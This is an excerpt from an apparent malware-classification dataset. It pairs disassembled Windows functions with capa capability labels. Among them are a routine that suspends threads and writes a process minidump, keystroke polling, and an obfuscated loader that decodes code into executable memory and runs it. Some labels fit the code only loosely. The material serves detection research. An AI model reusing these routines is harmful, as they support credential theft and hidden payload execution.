joyce8/EMBER2024-capa huggingface dataset:
Function at 0x480ab8d0
Capabilities:
Enumerate threads
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [0x480d40c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
push 0
push 4
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x74], 0
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x480ab947
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
xorps xmm0, xmm0
push eax
push esi
movdqu xmmword [ebp - 0x1c], xmm0
movq qword [ebp - 0xc], xmm0
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x480ab940
cmp dword [ebp - 0x14], edi
je 0x480ab93a
lea eax, [ebp - 0x20]
push eax
push esi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x480ab925
jmp 0x480ab940
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x74], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4c
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x70], 0
push 0
push eax
call fcn.480b7490
add esp, 0xc
cmp dword [ebx + 0x14], 8
jb 0x480ab966
mov ebx, dword [ebx]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x480ab99b
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.480b6e24
mov esp, ebp
pop ebp
ret 8
push dword [ebp - 0x74]
push 0
push 0xa
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x480aba0f
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [ebp - 0x74]
je 0x480ab9c5
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x480aba0f
push edi
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x78], eax
push ecx
push dword [ebp - 0x74]
mov ecx, dword [ebp - 0x7c]
push esi
push edi
push eax
push ebx
call fcn.480aba50
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [ebp - 0x74]
je 0x480ab9ff
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0x78]
test eax, eax
je 0x480aba11
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x480aba11
xor edi, edi
test esi, esi
je 0x480aba25
cmp esi, 0xffffffff
je 0x480aba25
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
jmp 0x480aba2b
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x480aba32
push ebx
call esi
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.480b6e24
mov esp, ebp
pop ebp
ret 8
Function at 0x480aba50
Capabilities:
Create process memory minidump

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e8
mov eax, dword [0x480d40c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0x1c]
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
mov dword [ebp - 0x2d4], ecx
lea ecx, [ebp - 0x2d0]
mov dword [ebp - 0x2dc], eax
mov eax, dword [ebp + 0x14]
push ecx
push eax
mov dword [ebp - 0x2d0], 0x1003f
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x480abb0a
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp - 0x2d4]
mov dword [ebp - 0x2d8], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x2d4], eax
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2e4], eax
mov dword [ebp - 0x2e0], esi
test edi, edi
jne 0x480abae5
push ebx
push esi
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push 0
lea eax, [ebp - 0x2e8]
push eax
push dword [ebp + 0x20]
push dword [ebp - 0x2dc]
push ebx
push edi
call sub.dbghelp.dll_MiniDumpWriteDump
test eax, eax
mov ecx, 1
cmovne esi, ecx
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.480b6e24
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x480abf90
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x480c7b3b
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x480d40c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x480d6160], 0
jne 0x480ac022
mov esi, dword [ebp + 8]
cmp dword [esi + 0x14], 8
jb 0x480abfca
mov eax, dword [esi]
jmp 0x480abfcc
mov eax, esi
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x480ac022
push 0x38
call fcn.480b756b
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0
test eax, eax
je 0x480abffa
mov ecx, eax
call fcn.480a1cc0
mov ecx, eax
jmp 0x480abffc
xor ecx, ecx
cmp dword [esi + 0x14], 8
mov dword [ebp - 4], 0xffffffff
mov dword [0x480d6160], ecx
jb 0x480ac011
mov esi, dword [esi]
mov eax, dword [ecx]
push esi
mov eax, dword [eax + 0x14]
call eax
test al, al
jne 0x480ac022
call fcn.480abcc0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x480afbf0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
mov bl, 1
mov ecx, dword [edi + 0x54]
mov eax, ecx
and eax, 0xc
cmp al, 0xc
jne 0x480afc49
mov eax, dword [edi + 4]
mov esi, dword [sym.imp.USER32.dll_GetDlgCtrlID]
push eax
mov dword [ebp - 0xc], eax
call esi
push dword [edi + 4]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0xfffffffe
call esi
push dword [edi + 4]
mov esi, eax
call dword [sym.imp.USER32.dll_GetParent]
lea ecx, [ebp - 0xc]
push ecx
push esi
push 0x4e
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
shr ecx, 2
test cl, 1
je 0x480afc81
push dword [edi + 4]
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
push dword [edi + 4]
mov esi, eax
call dword [sym.imp.USER32.dll_GetParent]
push dword [edi + 4]
movzx ecx, si
push ecx
push 0x111
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push 1
push 0
push 0
push dword [edi + 0x28]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
seta bl
test bl, bl
je 0x480afcb2
or byte [edi + 0x58], 2
push 1
push 0
push dword [edi + 4]
call dword [sym.imp.USER32.dll_InvalidateRect]
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x480afcc0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
push 0x38
lea eax, [ebp - 0x38]
mov esi, ecx
push 0
push eax
call fcn.480b7490
mov eax, dword [esi + 0x28]
add esp, 0xc
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x44c
push eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x30], 0x480c9bb0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x34], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
pop esi
setne al
mov esp, ebp
pop ebp
ret

Function at 0x480b1170
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov eax, dword [edi]
add eax, eax
mov dword [edi], 0
mov dword [ebp + 0x10], eax
lea eax, [ebp + 0x10]
push eax
push esi
lea eax, [ebp + 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x480b11e1
mov eax, dword [ebp + 0xc]
cmp eax, 1
je 0x480b11af
cmp eax, 2
jne 0x480b11cb
mov ecx, dword [ebp + 0x10]
test esi, esi
je 0x480b11db
test ecx, ecx
je 0x480b11d6
test cl, 1
jne 0x480b11cb
mov eax, ecx
shr eax, 1
cmp word [esi + eax*2 - 2], 0
je 0x480b11db
pop edi
mov eax, 0xd
pop esi
pop ebp
ret 0xc
xor eax, eax
mov word [esi], ax
shr ecx, 1
xor eax, eax
mov dword [edi], ecx
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x480b14e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x480c7fe6
mov eax, dword fs:[0]
push eax
sub esp, 0x424
mov eax, dword [0x480d40c0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x430], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x418], 0
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 0x60
push 0
push esi
mov byte [ebp - 4], 1
call ebx
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x480b158c
push 2
push eax
push esi
call ebx
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x480b158c
call fcn.480ae550
mov esi, eax
jmp 0x480b167c
push dword [ebp - 0x420]
push dword [ebp - 0x41c]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x480b15af
call fcn.480ae550
jmp 0x480b166f
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
mov dword [ebp - 0x41c], ebx
test ebx, ebx
jne 0x480b15cd
call fcn.480ae550
jmp 0x480b166f
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x420], esi
lea eax, [esi + 1]
cmp eax, esi
jae 0x480b15ee
mov esi, 0x8007000e
jmp 0x480b1671
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.480ae3d0
jmp 0x480b1618
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
jne 0x480b162f
mov esi, 0x8007000e
jmp 0x480b1671
push esi
push dword [ebp - 0x418]
push esi
push ebx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
jne 0x480b164f
call fcn.480ae550
jmp 0x480b166f
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.480b1340
mov esi, eax
test edi, edi
je 0x480b167c
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x480b16a0
lea ecx, [ebp - 0x418]
call fcn.480af5f0
jmp 0x480b16a0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.480b6e24
mov esp, ebp
pop ebp
ret 0x10
Function at 0x480b2500
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
test ebx, ebx
jne 0x480b2519
lea eax, [ebx + 0xd]
pop ebx
mov esp, ebp
pop ebp
ret 8
push esi
push edi
xor esi, esi
mov edx, ebx
nop
mov eax, edx
lea edi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x480b2525
sub eax, edi
sar eax, 1
lea ecx, [eax + 1]
lea edx, [edx + ecx*2]
lea esi, [esi + ecx*2]
cmp ecx, 1
jne 0x480b2520
mov eax, dword [ebp - 4]
push esi
push ebx
push 7
push 0
push dword [ebp + 8]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x480b2560
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
push esi
mov esi, ecx
test edx, edx
jne 0x480b2575
lea eax, [edx + 0xd]
pop esi
pop ebp
ret 0xc
mov eax, edx
push edi
lea edi, [eax + 2]
jmp 0x480b2580
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x480b2580
sub eax, edi
sar eax, 1
lea eax, [eax*2 + 2]
push eax
push edx
push dword [ebp + 0x10]
push 0
push dword [ebp + 8]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x480b3940
Capabilities:
Create process on windows

Disassembly:
cmp dword [ecx + 0xd0], 0
je 0x480b396b
cmp dword [ecx + 0xd4], 8
lea eax, [ecx + 0xc0]
jb 0x480b395a
mov eax, dword [eax]
push 1
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
ret 0x10

Function at 0x480b3bd0
Capabilities:
Create process on windows

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x120], 0
je 0x480b3c0f
push 0
push 0
push 0xf0
push dword [esi + 0x44]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 1
jne 0x480b3c0f
cmp dword [esi + 0x74], 8
lea eax, [esi + 0x60]
jb 0x480b3bfe
mov eax, dword [eax]
push 1
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop esi
ret
Function at 0x480b43a0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x480d40c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x84], 0
je 0x480b4421
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.480b7490
lea eax, [esi + 0x74]
add esp, 0xc
cmp dword [eax + 0x14], 8
jb 0x480b43e8
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
push eax
lea eax, [ebp - 0x20c]
push eax
call esi
push str.TempRunningPID.dat
lea eax, [ebp - 0x20c]
push 0x5c
push eax
call fcn.480b8beb
add esp, 8
add eax, 2
push eax
call esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.480b6e24
mov esp, ebp
pop ebp
ret

Function at 0x480b4430
Capabilities:
Delete file

Disassembly:
add ecx, 0xd4
cmp dword [ecx + 0x14], 8
jb 0x480b443e
mov ecx, dword [ecx]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
ret
Function at 0x480b4890
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x480c82d5
mov eax, dword fs:[0]
push eax
sub esp, 0x254
mov eax, dword [0x480d40c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x260], edi
mov dword [edi + 0x14], 7
mov dword [edi + 0x10], 0
mov word [edi], ax
push eax
push 0xf
mov dword [ebp - 0x25c], 1
mov dword [ebp - 0x258], 0xffffffff
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov dword [ebp - 0x258], esi
push 0x228
lea eax, [ebp - 0x250]
mov dword [ebp - 4], 1
push 0
push eax
mov dword [ebp - 0x254], 0x22c
call fcn.480b7490
add esp, 0xc
lea eax, [ebp - 0x254]
push eax
push esi
call sub.KERNEL32.dll_Process32FirstW
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x480b4a83
cmp dword [ebp - 0x24c], 0
jne 0x480b4988
lea eax, [ebp - 0x254]
push eax
push dword [ebp - 0x258]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x480b4a83
cmp dword [ebp - 0x24c], 0
jne 0x480b4988
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x258]
call fcn.480b52a0
test eax, eax
je 0x480b4a83
cmp word [ebp - 0x230], 0
jne 0x480b499e
xor eax, eax
jmp 0x480b49b6
lea eax, [ebp - 0x230]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x480b49a7
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x230]
mov ecx, edi
push eax
call fcn.480a4e20
push dword [ebp - 0x24c]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x480b4a3c
xor eax, eax
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 2
push eax
push esi
call fcn.480b47e0
add esp, 8
test eax, eax
jne 0x480b4a24
push 3
push 0x480c9d48
mov ecx, edi
call fcn.480a4e20
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x28]
mov ecx, edi
push eax
call fcn.480a4d10
push esi
call ebx
cmp dword [ebp - 0x14], 8
mov byte [ebp - 4], 1
jb 0x480b4a3c
push dword [ebp - 0x28]
call fcn.480b6e1f
add esp, 4
push 2
push 0x480cf93c
mov ecx, edi
call fcn.480a4e20
lea eax, [ebp - 0x254]
push eax
push dword [ebp - 0x258]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x480b4a83
cmp dword [ebp - 0x24c], 0
jne 0x480b4a7b
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x258]
call fcn.480b52a0
test eax, eax
jne 0x480b4990
mov ecx, dword [ebp - 0x258]
cmp ecx, 0xffffffff
je 0x480b4a91
push ecx
call ebx
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.480b6e24
mov esp, ebp
pop ebp
ret
Function at 0x480b4f30
Capabilities:
Create process on windows

Disassembly:
cmp dword [ecx + 0xb4], 0
je 0x480b4f5b
cmp dword [ecx + 0xb8], 8
lea eax, [ecx + 0xa4]
jb 0x480b4f4a
mov eax, dword [eax]
push 1
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
ret 0x10

Function at 0x480b51e0
Capabilities:
Create process on windows
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
cmp dword [esi + 0x84], 0
je 0x480b520f
cmp dword [esi + 0x88], 8
lea eax, [esi + 0x74]
jb 0x480b51fe
mov eax, dword [eax]
push 1
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, esi
call fcn.480b5940
push 0x400
push dword [esi + 4]
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
cmp eax, 1
mov dword [esi + 0x17c], 1
mov ecx, esi
sete byte [ebp - 4]
push dword [ebp - 4]
call fcn.480b5a90
push 0
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x480b52d0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x480b5343
test edi, edi
je 0x480b5343
push ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
test ebx, ebx
je 0x480b5334
cmp ebx, 0xffffffff
je 0x480b5334
push esi
mov esi, dword [ebp + 0xc]
mov ecx, esi
push ebx
call fcn.480ab1f0
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push ebx
push dword [esi]
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x480b5940
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x480c8410
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x480d40c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x44], eax
push 0x3ec
push dword [eax + 4]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [ebp - 0x50]
lea esi, [eax + 1]
push esi
call fcn.480ab240
mov ebx, dword [ebp - 0x50]
push esi
push ebx
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.USER32.dll_GetWindowTextW]
xor eax, eax
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
cmp word [ebx], ax
jne 0x480b59c3
xor ecx, ecx
jmp 0x480b59df
mov ecx, ebx
lea edx, [ecx + 2]
jmp 0x480b59d0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x480b59d0
sub ecx, edx
sar ecx, 1
push ecx
push ebx
lea ecx, [ebp - 0x28]
call fcn.480a3de0
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.480b4450
mov esi, dword [ebp - 0x44]
mov edi, eax
add esi, 0x104
add esp, 8
cmp esi, edi
je 0x480b5a35
cmp dword [esi + 0x14], 0x10
jb 0x480b5a1c
push dword [esi]
call fcn.480b6e1f
add esp, 4
mov dword [esi + 0x14], 0xf
mov ecx, esi
mov dword [esi + 0x10], 0
push edi
mov byte [esi], 0
call fcn.480ab330
cmp dword [ebp - 0x2c], 0x10
jb 0x480b5a46
push dword [ebp - 0x40]
call fcn.480b6e1f
add esp, 4
cmp dword [ebp - 0x14], 8
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
jb 0x480b5a69
push dword [ebp - 0x28]
call fcn.480b6e1f
add esp, 4
push ebx
call fcn.480b6e1f
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.480b6e24
mov esp, ebp
pop ebp
ret
Function at 0x490804
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x4952d8
call fcn.00490a7d
push 1
call fcn.00490bcb
pop ecx
test al, al
jne 0x4906ad
push 7
call fcn.00490e32
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.00490b96
mov byte [ebp - 0x24], al
mov eax, dword [0x49dc34]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x4906a6
test eax, eax
jne 0x490717
mov dword [0x49dc34], ecx
push 0x4924b8
push 0x4924a4
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x4906fa
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x4907fe
push 0x4924a0
push 0x492498
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x49dc34], 2
jmp 0x49071c
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.00490d28
pop ecx
call fcn.00490e26
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x49074c
push esi
call fcn.00490c9b
pop ecx
test al, al
je 0x49074c
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.00491061
call esi
call fcn.00490e2c
mov esi, eax
cmp dword [esi], edi
je 0x49076a
push esi
call fcn.00490c9b
pop ecx
test al, al
je 0x49076a
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
push edi
call sub.VCRUNTIME140.dll___telemetry_main_invoke_trigger
pop ecx
call fcn.00490f47
movzx eax, ax
push eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_narrow_winmain_command_line
push eax
push edi
push 0x400000
call main
mov esi, eax
push edi
call sub.VCRUNTIME140.dll___telemetry_main_return_trigger
pop ecx
call fcn.00490f7a
test al, al
jne 0x4907a3
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
test bl, bl
jne 0x4907ac
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push edi
push 1
call fcn.00490d45
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x4907fe
call fcn.00490ac3
ret
call fcn.0049051e
jmp 0x49068e

Function at 0x40197d
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov eax, dword [esp + 8]
mov dword [0x4040d0], eax
xor eax, eax
mov ebp, esp
mov ecx, 0xa
push eax
dec ecx
jne 0x401990
push esp
mov dword [ebp - 0x24], 0x4016f4
mov eax, dword [0x4040d0]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], str.solienty
call dword [sym.imp.USER32.dll_RegisterClassA]
xor eax, eax
push eax
push dword [0x4040d0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.absent
push str.solienty
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x4040d8], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401a2f
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401a10
pop ebp
ret 0x10
Function at 0x410728
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
mov dword [ebp - 4], 0
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx eax, ax
test ah, 0x80
je 0x410750
add dword [ebp - 4], 2
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx eax, ax
test ah, 0x80
je 0x410767
inc dword [ebp - 4]
push 0x12
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx eax, ax
test ah, 0x80
je 0x41077f
add dword [ebp - 4], 8
mov ax, word [ebp - 4]
jmp 0x410788
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41264b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x41265a
pop dword [ebp - 0x28]
mov eax, 0x41265a
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x4ecf3
push 0
mov eax, 0x21c05a92
add eax, 0xde860d46
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x4bf4
mov edi, eax
mov ebx, 0x48e000
add ebx, dword [ebp - 0x28]
mov edx, 0x5ec47682
sub dword [ebp - 0x20], edx
mov esi, dword [ebx]
xor dword [ebp - 0x1c], eax
sub esi, edx
sub dword [ebp - 0xc], edi
mov dword [edi], esi
mov dword [ebp - 0x14], 0x6ef190f9
add edi, 0x9362fa91
add edi, 0x6c9d0573
add ebx, 0xdf7b29a4
add ebx, 0x2084d660
loop 0x4126a2
add eax, 0x122a3
xor ebx, ebx
add ebx, eax
add eax, 0x58869c1c
sub eax, 0x58869c17
mov ecx, 0xa0288de8
add ecx, 0x60177218
add ecx, dword [ebp - 0x28]
call ebx
leave
ret